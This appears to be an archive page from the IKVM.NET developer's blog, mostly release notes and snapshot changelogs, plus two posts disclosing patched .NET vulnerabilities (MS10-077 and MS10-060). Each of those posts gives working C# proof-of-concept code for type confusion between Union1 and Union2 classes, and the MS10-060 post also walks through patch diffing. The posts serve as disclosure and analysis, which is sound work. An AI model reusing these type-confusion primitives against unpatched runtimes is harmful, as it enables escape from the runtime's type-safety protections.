# Friday, 22 October 2010
MS10-077 Vulnerability Details

Last week Microsoft released MS10-077. Here are the details.

Coincidentally I found this vulnerability in the .NET 4.0 RC on the day that .NET 4.0 went RTM (April 12, 2010) and the next day confirmed that RTM was also affected and reported it to MSRC.

It's not really a very interesting vulnerability, just a bug in an optimization that the x64 JIT does. Here's the code to exploit it:

using System;
using System.Runtime.CompilerServices;
class Union1
{
  internal volatile int i;
  internal volatile int j;
}
class Union2
{
  internal volatile object o;
  internal volatile int[] arr;
}
class Program
{
  static Union1 union1 = new Union1();
  static Union2 union2;
  class Base
  {
    public virtual Base Get()
    {
      return null;
    }
  }
  class Derived : Base
  {
    public Union2 i;
  }
  class MyDerived : Derived
  {
    public override Base Get()
    {
      return new MyBase();
    }
  }
  class MyBase : Base
  {
    object foo = union1;
  }
  [MethodImpl(MethodImplOptions.NoInlining)]
  static void x64_JIT_Bug(Derived d)
  {
    Base b = d;
  loop:
    if (b != null)
    {
      if (b is Derived)
      {
        Oops((Derived)b);
      }
      b = b.Get();
      goto loop;
    }
  }
  static void Oops(Derived d)
  {
    union2 = d.i;
  }
  static void Main()
  {
    x64_JIT_Bug(new MyDerived());
    Console.WriteLine(union1);
    Console.WriteLine(union2);
  }
}

The bug is in x64_JIT_Bug. The "b is Derived" test and "(Derived)" cast are incorrectly optimized away.

Friday, 22 October 2010 14:02:12 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
IKVM.NET 0.44 Update 1 RC 0

Time for a refresh of 0.44 with some bug fixes.

Changes:

  • Changed version to 0.44.0.6
  • Backported various build system improvements.
  • Backported IKVM.Reflection ILGenerator exception table sorting bug fix (when running on Mono).
  • Backported Mono 2.8 mcs build workarounds.
  • Backported support for boolean, byte, char and short non-final static field constant attributes.
  • Backported core assembly detection fix.
  • Backported fix to make sure that ikvmc (and ikvmstub) can find assemblies that are part of a multi assembly (shared class loader) group (if the assembly is in the same directory as the main assembly of the group).
  • Backported fix for regression in stack trace printing of .NET (not remapped) exceptions introduced in 0.44. The .NET stack trace should not be included in the message.
  • Backported fix for ikvmc sometimes incorrectly handling InternalsVisibleToAttributes in multi assembly builds.
  • Backported fix for regression introduced with fault handlers. Exception handlers inside fault handlers could be ignored.
  • Backported fix for #3086040. Volatile stores require a memory barrier.

Binary available here: ikvmbin-0.44.0.6.zip

Sources: ikvmsrc-0.44.0.6.zip, openjdk6-b18-stripped.zip

Friday, 22 October 2010 10:25:42 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Friday, 15 October 2010
New Development Snapshot

Time for a new snapshot. No major theme this time, but lots of bug fixes and some new infrastructure for doing more MSIL optimizations. Volker added the Nimbus L&F.

Changes:

  • Moved local variable analysis from verifier into a separate pass.
  • Restructured method analyzer/verifier to make data flow more obvious and keep less data alive during compilation.
  • Various minor refactorings and clean up.
  • Changed workaround for gmcs inability to properly deal with two-pass compilation of mutually dependant assemblies to use reflection, because the previous workaround now also fails on Mono 2.8.
  • Fixed reflection method invocation issue: Always wrap InvocationTargetException in another InvocationTargetException, to handle the case where a method is recursively calling itself.
  • Added support for boolean, byte, char and short non-final static field constant attributes.
  • Implemented create() for ButtonPeer and LabelPeer.
  • Implemented first stab at converting suitable fault blocks into finally blocks.
  • Changed CodeEmitter to build intermediate store of MSIL code to allow post-processing optimization steps.
  • Added endfinally opcode support to xml remapper.
  • Changed xml remapper to require explicit exits in exception blocks.
  • Moved ikvmc core assembly detection to the right place, to avoid problems when a non-main assembly of the core assembly set is explicitly referenced.
  • Fix to make sure that ikvmc (and ikvmstub) can find assemblies that are part of a multi assembly (shared class loader) group (if the assembly is in the same directory as the main assembly of the group).
  • Fix a rounding problem with FontMetrics.
  • Implemented createCompatibleVolatileImage() for Nimbus.
  • Implemented Graphics.setPaint() with a LinearGradientPaint for Nimbus.
  • Added Nimbus L&F.
  • Fixed threading problem in font metrics code.
  • Fixed regression in stack trace printing of .NET (not remapped) exceptions introduced in 0.44. The .NET stack trace should not be included in the message.
  • Fixed ikvmc bug. Before saving any of the output assemblies, we should first finish all of them (because InternalsVisibleToAttributes may be added as a side effect of compiling code in another assembly).
  • Fixed regression in SocketInputStream.read(). The offset into the byte array was ignored.
  • Use renderings hints of FontMetrics for drawGlyphVector.
  • Fixed regression introduced with fault handlers. Exception handlers inside fault handlers could be ignored.
  • Added some experimental MSIL optimizations to CodeEmitter. They can be enabled by setting the IKVM_EXPERIMENTAL_OPTIMIZATIONS environment variable.
  • Added error handling for -remap file errors to ikvmc.
  • IKVM.Reflection: Fixed ILGenerator to throw a NotSupportException if a branch offset doesn't fit (i.e. when a short form branch is used inappropriately).
  • IKVM.Reflection: Added exception message for backward branch constraints violations.
  • IKVM.Reflection: Fixed ILGenerator to properly sort exception table when running on Mono.

Binaries available here: ikvmbin-0.45.3940.zip

Friday, 15 October 2010 06:32:16 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Friday, 10 September 2010
New Development Snapshot

I've started on IPv6 support. The classic socket APIs (i.e. the java.net package) now supports IPv6. At the moment it is .NET only, because Mono on Windows doesn't appear to support IPv6 and on Linux you apparently cannot bind both an IPv4 and IPv6 socket to the same port at the same time (suggestions on this are welcome).

The implementation is based on a relatively straightforward port of the OpenJDK files TwoStacksPlainDatagramSocketImpl.c and TwoStacksPlainSocketImpl.c to Java. I wrote a Java Winsock API wrapper on top of the .NET Socket API (which in turn is a wrapper on the actual Winsock API). In the future the OpenJDK DualStack code should also be ported, for use on Vista/Win7 and probably Linux.

What remains to be done is update the nio socket code to support IPv6.

Changes:

  • Added some missing resources to IKVM.OpenJDK.Tools.dll.
  • Removed x64 JIT bug workaround that triggered another x64 bug.
  • Implemented IPv6 support (.NET only) for java.net package APIs.
  • Several fixes/improvements to java.net.NetworkInterface.
  • Implemented Graphics.drawImage() with AffineTransform.
  • Improved StandardGlyphVector.
  • FontMetrics fixes.
  • Inet[4|6]AddressImpl.lookupAllHostAddr() should throw UnknownHostException instead of returning an empty array.
  • Don't expose IPv6 network interface addresses when IPv6 isn't enabled.
  • Added workaround for Mono TimeZoneInfo bug.
  • Fix build on Linux.
  • Fixed java.lang.Thread to synchronize on private lock instead of Thread object in thread startup code, to avoid potential deadlock with user code.
  • Added check to make sure that vfs.zip exists, before building second pass version of IKVM.Runtime.dll, because it appears that mcs doesn't complain about missing resources.
  • Fixed bug #3056721.
  • Added explanatory message to Link Error if it is caused by a missing reference.

Binaries available here: ikvmbin-0.45.3905.zip

Friday, 10 September 2010 11:44:21 (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]
# Thursday, 09 September 2010
IKVM 0.44 Released
I've released IKVM 0.44 to SourceForge. The binaries are identical to the ones in release candidate 5.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
     
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
       
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compatibility rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.

Class Library

Most class library code is based on OpenJDK 6 build 18. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt Partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written, but there is no metadata support.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows
.NET 4.0 x86 Windows
.NET 4.0 x64 Windows


Partial Trust

There is experimental support for running in partial trust.

Thursday, 09 September 2010 10:48:31 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 25 August 2010
Running RSSOwl on IKVM.NET

I recently upgraded my RSS reader from the older version I was still using to the current version. That turned out to be a mistake. The new version was even more broken than the old version, so I decided it was time to switch. I remembered RSSOwl from several years ago when I tested it on IKVM (it uses the Eclipse Standard Widget Toolkit, so like Eclipse it was a good test app back when AWT support was completely useless).

I downloaded the most recent version and played with it and it appeared to suit my needs. Of course, after I decided that I was going to start using it, I wanted to run it on IKVM and not in dynamic mode, but compiled with ikvmc. Fortunately, RSSOwl uses OSGi in much the same way as Eclipse, so I was able to reuse the work I did to get Eclipse to compile with ikvmc.

To play along at home, follow these instructions (on Windows):

  • Download rssowl-2.0.5.win32.zip, ikvmbin-0.44.0.5.zip and rssowl-clr.zip and put them all in the same directory.
  • Open a Command Prompt and go to the directory where you downloaded the zip files.
  • Run these commands:
    unzip rssowl-2.0.5.win32.zip
    cd rssowl
    unzip ..\ikvmbin-0.44.0.5.zip
    unzip ..\rssowl-clr.zip
    mk
  • Start RSSOwl by running rssowl-clr.exe
Wednesday, 25 August 2010 12:27:23 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Tuesday, 24 August 2010
New Development Snapshot

While the 0.44 release candidates have been baking, I've been working on 0.45. There are some interesting changes related to resource handling and stub classes.

Resources

 Previously, if you looked at the URL returned by ClassLoader.getResource() for an ikvmc compiled assembly you see something ugly like this:

 ikvmres://IKVM.OpenJDK.Jdbc,%20Version=0.44.0.5,%20Culture=neutral,%20PublicKeyToken=13235d27fcbfff58/META-INF/services/java.sql.Driver

Now with 0.45, you see:

jar:file:/C:/.virtual-ikvm-home/assembly/IKVM.OpenJDK.Jdbc__0.45.3887.0__13235d27fcbfff58/resources/resources.jar!/META-INF/services/java.sql.Driver

This is also a bit strange, because C:\.virtual-ikvm-home doesn't actually exist, but it is the IKVM Virtual File System directory that was introduced with the switch to OpenJDK, to facilitate the fact that OpenJDK likes to load lots of files from the installation directory.

Starting with 0.45, the virtual file system is also used to load resources and stub classes. When you compile your jar with ikvmc, the resources in the jar will be copied into a new jar (usually with the same name) and that jar will be attached as a managed resource to the target assembly. This resource is projected into VFS and the normal Java resource loading mechanism is (more or less) used to load resources from the jar.

This has two main advantages. The first is that this makes it more likely that Java code that makes various assumptions about being being able to explicitly open a resource jar, will work. The second is that this method of storing resources, usually results in smaller assemblies.

Another benefit of this change is that I finally fixed the issue with ikvmc skipping resources due to name clashes. Previously there was only a single resource namespace per assembly, but now an assembly can contain multiple resource jars.

Stub Classes

Some Java code requires .class files for system classes. This is usually because they want to do dynamic code generation and Java's reflection isn't really good enough for that. For a long time IKVM has supported this by dynamically creating the .class files (in a runtime equivalent of ikvmstub) whenever code tried to load a resource that ended with .class and a corresponding type was found. This used the same ikvmres protocol mechanism as normal resources. With this snapshot, the stub classes have also moved to VFS. They are still generated on demand, but they are now accessible via the Java file IO APIs. This means that the sun.boot.class.path property can now point to VFS and that Java code, like javac, that depends on sun.boot.class.path will now work.

You can now build a working javac.exe like this:

ikvmc -main:com.sun.tools.javac.Main -out:javac.exe -r:IKVM.OpenJDK.Tools.dll

The resulting javac.exe will be very small (4KB), because all the code is in IKVM.OpenJDK.Tools.dll (the equivalent of tools.jar).

Changes:

  • Fixed java.util.zip.Inflater to throw exception for corrupt zip files (http://gcc.gnu.org/bugzilla/show_bug.cgi?id=36560).
  • Added the ability to nest ikvmc response files and added error handling to response file reading.
  • Made most ikvmc warnings local to the target that is being compiled (in multi target mode), to allow warnings to be suppressed (or turned into an error) for a specific target.
  • Added -writeSuppressWarningsFile: ikvmc option.
  • Added support for comment lines in ikvmc response files.
  • Volker implemented Window.setMinimumSize().
  • Massive change to change resource handling. Java resources are now stored in jars that are stored as managed .NET resources. The jars are projected into VFS and the assembly class loaders know how to load resources from these jars.
  • Volker added support for "My Computer" folder.
  • Volker fixed a regression in Toolkit.createImage(ImageProducer).
  • Fixed build to work when Mono isn't installed.
  • Stub classes are now projected into VFS.
  • Stub classes (as resources) are no longer generated if a resource with that name already exists in the assembly.
  • System property "sun.boot.class.path" now points to stub classes in VFS.
  • Removed the requirement to have peverify and ilasm in the PATH. They are now located automatically and if they are not found, the corresponding build steps are skipped.
  • Separated managed and native build steps and made managed the default target. This allows doing a build with "nant" with just nant and JDK 1.6 in the PATH.
  • Changed default build target to automatically generate a CommonAssemblyInfo.cs with todays build number.
  • Fixed java.lang.ref.Reference to not store a strong reference to java.lang.Class objects, if class GC is enabled. Note that class GC is only available on .NET 4.0 and when IKVM is specifically built for .NET 4.0.

Binaries available here: ikvmbin-0.45.3887.zip

Tuesday, 24 August 2010 08:32:03 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 23 August 2010
IKVM.NET 0.44 Release Candidate 5

Two more bug fixes and this will hopefully be the final release candidate.

Changes:

  • Changed version to 0.44.0.5
  • Don't seal @Internal classes.
  • Fixed bug #3046925.

Binary available here: ikvmbin-0.44.0.5.zip

Sources: ikvmsrc-0.44.0.5.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

Monday, 23 August 2010 06:35:29 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 18 August 2010
@ikvm.lang.Internal Revisited

A couple of days ago, Dawid Weiss filed a bug related to @ikvm.lang.Internal and while fixing the bug I realized that the feature has significantly evolved since its introduction, but that was never documented.

I originally introduced @ikvm.lang.Internal as a relatively simple workaround for an annoying short coming of Java and mainly for my own convenience in writing the core class libraries, but when I added support InternalsVisibleAttribute things became more complex.

The support for InternalsVisibleToAttribute in itself is something that evolved from relatively weak to the current state of mostly working (there is still one known issue, where InternalsVisibleToAttribute annotations won't be recognized during a multi target build, but this isn't very high priority, because in the common cases ikvmc will automatically add (and recognize) the InternalVisibleToAttribute when needed during multi target compilation.)

So what does @ikvm.lang.Internal do?

It's actually still relatively simple: It marks a type or member as "internal". This means that its Java access modifiers will be ignored (even private members can be marked as internal) and that any other assembly that has access to the assembly's internals will be able to access it (in the case of members, you also need to be able to access to containing type, of course.)

For members this looks a lot like the C# internal access modifier, but for types there is a significant difference to be aware of. From Java code in another assembly (that is designated by InternalsVisibleTo) you can only access types that are explicitly marked with @ikvm.lang.Internal, note that this is unlike C# where any non-nested type can be accessed.

At runtime, when you use reflection to inspect a type or member marked with @ikvm.lang.Internal, it will appear as package accessible. When you use reflection to invoke, set or get a member, it will be treated as internal.

I fixed the bug Dawid reported and also fixed the "effectively final" optimization to not mark classes with @ikvm.lang.Internal as final. The fixes will be in the next 0.44 release candidate.

Wednesday, 18 August 2010 09:19:52 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Saturday, 14 August 2010
Reverse Engineering the MS10-060 .NET Security Patch

On Patch Tuesday, one of the patches Microsoft released was MS10-060. It addresses a Silverlight memory corruption and a CLR delegate issue. I was curious about the CLR delegate issue and decided to see if I could reverse engineer the patch to find the issue. Now, I'm not a professional security researcher or malware developer, so I don't have any good tools to do this. They have binary diffing tools that make it very easy to find the differences between the original file and the patched file. I was stuck with dumpbin /disasm to get the disassembled code for the two versions of the file, but I'm getting ahead of myself.

Patch Contents

In the KB983590 article Microsoft helpfully describes all the files that are changed by the update. Looking through the list it is obvious that there are only two interesting files: mscorwks.dll and mscorlib. After running both the patched and unpatched versions of mscorlib.dll through ildasm it was obvious that there weren't any changes to mscorlib (other than the version number). So I had to focus on the unmanaged code side. I ran the patched and unpatched versions of mscorwks.dll through dumpbin /disasm and looked at the resulting files:

C:\j\ms10-060>dir
Volume in drive C is 320GB_7200 Volume Serial Number is 0404-135D
Directory of C:\j\ms10-060
08/12/2010 08:36 <DIR> . 08/12/2010 08:36 <DIR> .. 05/21/2010 00:49 5,816,656 mscorwks-ms10-060.dll 08/12/2010 08:28 5,157 mscorwks-ms10-060.headers 08/12/2010 08:38 118,871,231 mscorwks-ms10-060.lst 06/10/2009 23:23 5,816,640 mscorwks-vuln.dll 08/12/2010 08:27 5,153 mscorwks-vuln.headers 08/12/2010 08:35 118,827,088 mscorwks-vuln.lst 6 File(s) 249,341,925 bytes 2 Dir(s) 105,945,309,184 bytes free

OK. So the file sizes are somewhat intimidating. I have the Microsoft symbol server configured, so dumpbin helpfully provided the symbol names, so that makes navigating the files a lot easier. Given the description of the vulnerability, I first looked at how the JIT compiles the construction of a delegate and noticed that it calls the JIT_VirtualFunctionPointer method in mscorwks. I looked at that, but it was unmodified by the patch. I did a little more random browsing through the file but wasn't getting anywhere.

The  Security Researcher

On Wednesday I had gotten an e-mail from a security researcher that wanted to know if I had any details on the vulnerability. I told him I hadn't yet, but was very curious and wanted to look into it. We mailed a couple of times more during the week and on Friday he mailed me a list of addresses of functions that had been changed by the patch. Unfortunately, he was probably looking a different version of the patch (for a different platform), because the addresses didn't make any sense to me.

More Searching

However, his e-mail did inspire me to take another look and this time I thought, why not start by examining all the functions in mscorwks from the COMDelegate class. From the Shared Source CLI code I knew that was the native class that contained the native code for System.Delegate. After about an hour of comparing methods I finally found a difference:

Unpatched mscorwks.dll (2.0.50727.4927 Windows 7 x86):

  7A04799D: 8B CB              mov         ecx,ebx
  7A04799F: E8 36 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479A4: 85 C0              test        eax,eax
  7A0479A6: 74 09              je          7A0479B1
  7A0479A8: F6 46 03 04        test        byte ptr [esi+3],4
  7A0479AC: 75 03              jne         7A0479B1
  7A0479AE: 33 FF              xor         edi,edi
  7A0479B0: 47                 inc         edi
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»

Patched mscorwks.dll (2.0.50727.4952 Windows 7 x86):

  7A0479A3: 8B CF              mov         ecx,edi
  7A0479A5: E8 40 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479AA: 85 C0              test        eax,eax
  7A0479AC: 74 03              je          7A0479B1
  7A0479AE: 33 DB              xor         ebx,ebx
  7A0479B0: 43                 inc         ebx
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»

The highlighted code has been removed. This is in the COMDelegate::BindToMethodInfo method. Looking at the Shared Source CLI code it was easy to locate the corresponding code and I noticed that the removed code was probably an inlined call to method->IsUnboxingStub(). A quick search for IsUnboxingStub in the header files confirmed this.

How to Exploit

After a minute of reflection, I guessed that the bug was probably related to how value type methods have a different concept of "this" than normal methods (because a non-boxed value doesn't have an object header, which is normally where the this pointer points). To solve this, the runtime generates UnboxingStubs for virtual methods (inherited from System.Object) that are overridden by a value type.

I hit the jackpot with my first attempt. Here is a slightly modified version of what I tried:

using System;
using System.Reflection;
class Union1 { internal volatile int i; internal volatile int j; }
class Union2 { internal volatile object o; internal volatile int[] arr; }
public struct Foo { object obj; Union2 u2;
public Foo(object obj) { this.obj = obj; this.u2 = null; }
public override string ToString() { Program.u2 = u2; return null; } }
delegate string MyDelegate();
class Program { internal static Union2 u2;
static void Main(string[] args) { Union1 u1 = new Union1();
MethodInfo method = typeof(Foo).GetMethod("ToString"); MyDelegate d = (MyDelegate)Delegate.CreateDelegate(typeof(MyDelegate), new Foo(u1), method); d();
Console.WriteLine(u1); Console.WriteLine(u2); } }

When you run this code on an unpatched system, you'll see that both WriteLine calls output Union1, in other words, we now have a reference typed as Union2 pointing the a Union1 instance. This is exactly the requirement I described in Writing a .NET Security Exploit PoC.

Conclusion

A had read before that malware authors can often update their malware within an hour after a patch is released to take advantage of the vulnerabilities addressed by the patch, but actually doing the reverse engineering myself did really drive home the point. It took me a couple of days, had I had the proper tools and the motivation I could have easily done this within an hour or so of the patch release. Of course, I had some help from the Shared Source CLI and without the source it would have taken me a bit longer, but then again I'm not an experienced malware author.

So installing the security updates in a timely fashion is really important.

Saturday, 14 August 2010 11:01:33 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]